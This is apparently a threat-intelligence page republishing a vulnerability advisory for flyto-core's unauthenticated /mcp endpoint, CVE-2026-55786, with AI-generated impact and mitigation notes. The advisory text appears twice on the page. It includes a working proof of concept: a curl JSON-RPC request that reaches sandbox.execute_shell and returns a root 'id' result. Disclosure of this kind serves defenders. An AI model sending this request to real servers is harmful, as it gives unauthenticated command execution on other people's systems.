flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module` (CVE-2026-55786)
## Unauthenticated Command Execution via HTTP MCP `execute_module` ### Summary The HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header. ### Details flyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post("")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist. The complete unauthenticated data flow from source to sink: 1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation. 2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post("")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route. 3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation. 4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`. 5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`. 6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`. 7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`. 8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization. 9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping. The `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = ["shell.*", "process.*"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable. **Vulnerable code excerpts:** ```python # src/core/api/routes/mcp.py:65-66 — missing auth @router.post("") async def mcp_post(request: Request): ``` ```python # src/core/mcp_handler.py:832-838 — attacker-controlled dispatch elif tool_name == "execute_module": result = await execute_module( module_id=arguments.get("module_id", ""), params=arguments.get("params", {}), context=arguments.get("context"), browser_sessions=browser_sessions, ) ``` ```python # src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink params = context['params'] command = params.get('command', '') # ... only empty-command and cwd existence checks ... proc = await asyncio.create_subprocess_shell(command, ...) ``` **Contrast with the protected REST route:** ```python # src/core/api/routes/modules.py:93 — correctly guarded @router.post("/execute", dependencies=[Depends(require_auth)]) ``` The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it. ### PoC **Environment setup (Docker):** ```bash # Build the image (context: the report directory containing repo/ and vuln-001/) docker build \ -f vuln-001/Dockerfile \ -t flyto-vuln-001 \ reports/mcp_57_flytohub__flyto-core/ # Start the server (binds 0.0.0.0:8333 inside the container) docker run --rm -d \ -p 127.0.0.1:8333:8333 \ --name flyto-vuln-001-test \ flyto-vuln-001 ``` **Exploit (curl) — no Authorization header:** ```bash curl -sS http://127.0.0.1:8333/mcp \ -H 'Content-Type: application/json' \ -d '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "execute_module", "arguments": { "module_id": "sandbox.execute_shell", "params": {"command": "id", "timeout": 5} } } }' ``` **Exploit (Python PoC script):** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 8333 --command id ``` **Observed response (dynamic reproduction, Phase 2):** ```json { "jsonrpc": "2.0", "id": 1, "result": { "structuredContent": { "ok": true, "data": { "stdout": "uid=0(root) gid=0(root) groups=0(root)\n", "stderr": "", "exit_code": 0,
AI Analysis
Technical Summary
The flyto-core HTTP MCP endpoint (/mcp) exposes a JSON-RPC interface that accepts unauthenticated POST requests. Unlike other execution routes, this endpoint lacks authentication and module denylist enforcement. An attacker can invoke the execute_module tool with arbitrary module_id and parameters, including sandbox.execute_shell, which executes shell commands via asyncio.create_subprocess_shell without sanitization or restrictions. This allows unauthenticated remote command execution as the server process user. The default binding to 127.0.0.1 limits exposure to local attacks unless the server is started with --host 0.0.0.0, enabling remote exploitation. The vulnerability affects versions >=2.26.2 and <2.26.4 of flyto-core. No official patch or remediation is provided in the advisory.
Potential Impact
An unauthenticated attacker can execute arbitrary operating system commands as the flyto-core server process. This can lead to full system compromise, data theft, or service disruption. When the server binds to localhost, exploitation requires local access, but if configured to bind to all network interfaces, remote exploitation is possible. The vulnerability has high confidentiality, integrity, and availability impact (CVSS 8.4 local).
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, avoid running the flyto-core server with --host 0.0.0.0 to limit exposure to local access only. Restrict access to the server to trusted users and networks. Monitor vendor communications for patches or updates addressing this vulnerability.
flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module` (CVE-2026-55786)
Description
## Unauthenticated Command Execution via HTTP MCP `execute_module` ### Summary The HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header. ### Details flyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post("")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist. The complete unauthenticated data flow from source to sink: 1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation. 2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post("")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route. 3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation. 4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`. 5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`. 6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`. 7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`. 8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization. 9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping. The `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = ["shell.*", "process.*"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable. **Vulnerable code excerpts:** ```python # src/core/api/routes/mcp.py:65-66 — missing auth @router.post("") async def mcp_post(request: Request): ``` ```python # src/core/mcp_handler.py:832-838 — attacker-controlled dispatch elif tool_name == "execute_module": result = await execute_module( module_id=arguments.get("module_id", ""), params=arguments.get("params", {}), context=arguments.get("context"), browser_sessions=browser_sessions, ) ``` ```python # src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink params = context['params'] command = params.get('command', '') # ... only empty-command and cwd existence checks ... proc = await asyncio.create_subprocess_shell(command, ...) ``` **Contrast with the protected REST route:** ```python # src/core/api/routes/modules.py:93 — correctly guarded @router.post("/execute", dependencies=[Depends(require_auth)]) ``` The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it. ### PoC **Environment setup (Docker):** ```bash # Build the image (context: the report directory containing repo/ and vuln-001/) docker build \ -f vuln-001/Dockerfile \ -t flyto-vuln-001 \ reports/mcp_57_flytohub__flyto-core/ # Start the server (binds 0.0.0.0:8333 inside the container) docker run --rm -d \ -p 127.0.0.1:8333:8333 \ --name flyto-vuln-001-test \ flyto-vuln-001 ``` **Exploit (curl) — no Authorization header:** ```bash curl -sS http://127.0.0.1:8333/mcp \ -H 'Content-Type: application/json' \ -d '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "execute_module", "arguments": { "module_id": "sandbox.execute_shell", "params": {"command": "id", "timeout": 5} } } }' ``` **Exploit (Python PoC script):** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 8333 --command id ``` **Observed response (dynamic reproduction, Phase 2):** ```json { "jsonrpc": "2.0", "id": 1, "result": { "structuredContent": { "ok": true, "data": { "stdout": "uid=0(root) gid=0(root) groups=0(root)\n", "stderr": "", "exit_code": 0,
CVSS v3.1
Score 8.4high
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The flyto-core HTTP MCP endpoint (/mcp) exposes a JSON-RPC interface that accepts unauthenticated POST requests. Unlike other execution routes, this endpoint lacks authentication and module denylist enforcement. An attacker can invoke the execute_module tool with arbitrary module_id and parameters, including sandbox.execute_shell, which executes shell commands via asyncio.create_subprocess_shell without sanitization or restrictions. This allows unauthenticated remote command execution as the server process user. The default binding to 127.0.0.1 limits exposure to local attacks unless the server is started with --host 0.0.0.0, enabling remote exploitation. The vulnerability affects versions >=2.26.2 and <2.26.4 of flyto-core. No official patch or remediation is provided in the advisory.
Potential Impact
An unauthenticated attacker can execute arbitrary operating system commands as the flyto-core server process. This can lead to full system compromise, data theft, or service disruption. When the server binds to localhost, exploitation requires local access, but if configured to bind to all network interfaces, remote exploitation is possible. The vulnerability has high confidentiality, integrity, and availability impact (CVSS 8.4 local).
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, avoid running the flyto-core server with --host 0.0.0.0 to limit exposure to local access only. Restrict access to the server to trusted users and networks. Monitor vendor communications for patches or updates addressing this vulnerability.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-h9f9-h6gm-wc85
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-55786"]
- Ecosystems
- ["PyPI"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a4c345427e9c797195fe13c
Added to database: 07/06/2026, 23:03:48 UTC
Last enriched: 07/06/2026, 23:36:43 UTC
Last updated: 07/31/2026, 12:27:30 UTC
Views: 61
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.